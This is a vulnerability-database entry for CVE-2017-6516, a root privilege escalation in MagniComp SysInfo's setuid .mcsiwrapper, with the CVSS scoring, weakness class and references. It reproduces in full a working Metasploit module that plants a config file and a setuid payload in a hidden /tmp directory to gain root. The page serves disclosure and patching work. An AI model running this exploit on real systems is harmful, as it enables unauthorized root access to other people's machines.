CVE-2017-6516 : Detail

CVE-2017-6516

6.7
/
Medium
A03-Injection
23.71%V4
Local
2017-03-14
16h00 +00:00
2018-02-22
09h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

A Local Privilege Escalation Vulnerability in MagniComp's Sysinfo before 10-H64 for Linux and UNIX platforms could allow a local attacker to gain elevated privileges. Parts of SysInfo require setuid-to-root access in order to access restricted system files and make restricted kernel calls. This access could be exploited by a local attacker to gain a root shell prompt using the right combination of environment variables and command line arguments.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 6.7 MEDIUM CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

High

The attacker is authorized with (i.e. requires) privileges that provide significant (e.g. administrative) control over the vulnerable component that could affect component-wide settings and files.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

nvd@nist.gov
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 44150

Publication date : 2018-02-19 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'MagniComp SysInfo mcsiwrapper Privilege Escalation', 'Description' => %q{ This module attempts to gain root privileges on systems running MagniComp SysInfo versions prior to 10-H64. The .mcsiwrapper suid executable allows loading a config file using the '--configfile' argument. The 'ExecPath' config directive is used to set the executable load path. This module abuses this functionality to set the load path resulting in execution of arbitrary code as root. This module has been tested successfully with SysInfo version 10-H63 on Fedora 20 x86_64, 10-H32 on Fedora 27 x86_64, 10-H10 on Debian 8 x86_64, and 10-GA on Solaris 10u11 x86. }, 'License' => MSF_LICENSE, 'Author' => [ 'Daniel Lawson', # Discovery and exploit 'Romain Trouve', # Discovery and exploit 'Brendan Coles' # Metasploit ], 'DisclosureDate' => 'Sep 23 2016', 'Platform' => %w(linux solaris), 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [ [ 'Automatic', { } ], [ 'Solaris', { 'Platform' => 'solaris', 'Arch' => ARCH_X86 } ], [ 'Linux', { 'Platform' => 'linux', 'Arch' => [ ARCH_X86, ARCH_X64 ]} ] ], 'References' => [ [ 'CVE', '2017-6516' ], [ 'BID', '96934' ], [ 'URL', 'http://www.magnicomp.com/support/cve/CVE-2017-6516.shtml' ], [ 'URL', 'https://labs.mwrinfosecurity.com/advisories/magnicomps-sysinfo-root-setuid-local-privilege-escalation-vulnerability/' ], [ 'URL', 'https://labs.mwrinfosecurity.com/advisories/multiple-vulnerabilities-in-magnicomps-sysinfo-root-setuid/' ] ] )) register_options( [ OptString.new('SYSINFO_DIR', [ true, 'Path to SysInfo directory', '/opt/sysinfo' ]), OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ]) end def sysinfo_dir datastore['SYSINFO_DIR'] end def check unless cmd_exec("test -d #{sysinfo_dir} && echo true").include? 'true' vprint_good "Directory '#{sysinfo_dir}' does not exist" return CheckCode::Safe end vprint_good "Directory '#{sysinfo_dir}' exists" mcsiwrapper_path = "#{sysinfo_dir}/bin/.mcsiwrapper" unless setuid? mcsiwrapper_path vprint_error "#{mcsiwrapper_path} is not setuid" return CheckCode::Safe end vprint_good "#{mcsiwrapper_path} is setuid" bash_path = cmd_exec 'which bash' unless bash_path.start_with?('/') && bash_path.include?('bash') vprint_error 'bash is not installed. Exploitation will fail.' return CheckCode::Safe end vprint_good 'bash is installed' config_version = cmd_exec "grep ProdVersion= #{sysinfo_dir}/config/mcsysinfo.cfg" version = config_version.scan(/^ProdVersion=(\d+-H\d+|\d+-GA)$/).flatten.first if version.blank? vprint_error 'Could not determine the SysInfo version' return CheckCode::Detected end if Gem::Version.new(version.sub('-H', '.')) >= Gem::Version.new('10.64') vprint_error "SysInfo version #{version} is not vulnerable" return CheckCode::Safe end vprint_good "SysInfo version #{version} is vulnerable" CheckCode::Vulnerable end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data register_file_for_cleanup path end def mkdir(path) vprint_status "Creating '#{path}' directory" cmd_exec "mkdir -p #{path}" register_dir_for_cleanup path end def exploit check_status = check if check_status != CheckCode::Vulnerable && check_status != CheckCode::Detected fail_with Failure::NotVulnerable, 'Target is not vulnerable' end # Set target uname = cmd_exec 'uname' vprint_status "Operating system is #{uname}" if target.name.eql? 'Automatic' case uname when /SunOS/i my_target = targets[1] when /Linux/i my_target = targets[2] else fail_with Failure::NoTarget, 'Unable to automatically select a target' end else my_target = target end print_status "Using target: #{my_target.name}" # Check payload if (my_target['Platform'].eql?('linux') && payload_instance.name !~ /linux/i) || (my_target['Platform'].eql?('solaris') && payload_instance.name !~ /solaris/i) fail_with Failure::BadConfig, "Selected payload '#{payload_instance.name}' is not compatible with target operating system '#{my_target.name}'" end # Create a working directory base_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric rand(5..10)}" mkdir base_path # Write config file config_path = "#{base_path}/#{rand_text_alphanumeric rand(5..10)}" upload config_path, "ExecPath=#{base_path}" # Upload payload payload_name = rand_text_alphanumeric rand(5..10) payload_path = "#{base_path}/#{payload_name}" upload payload_path, generate_payload_exe cmd_exec "chmod u+sx '#{payload_path}'" print_status 'Executing payload...' # Executing .mcsiwrapper directly errors: # Command ".mcsiwrapper" cannot start with `.' or contain `/'. # Instead, we execute with bash to replace ARGV[0] with the payload file name output = cmd_exec "bash -c \"exec -a #{payload_name} #{sysinfo_dir}/bin/.mcsiwrapper --configfile #{config_path}&\"" output.each_line { |line| vprint_status line.chomp } end end

Products Mentioned

Configuraton 0

Magnicomp>>Sysinfo >> Version To (including) 10-h62

References

http://www.securityfocus.com/bid/96934
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/44150/
Tags : exploit, x_refsource_EXPLOIT-DB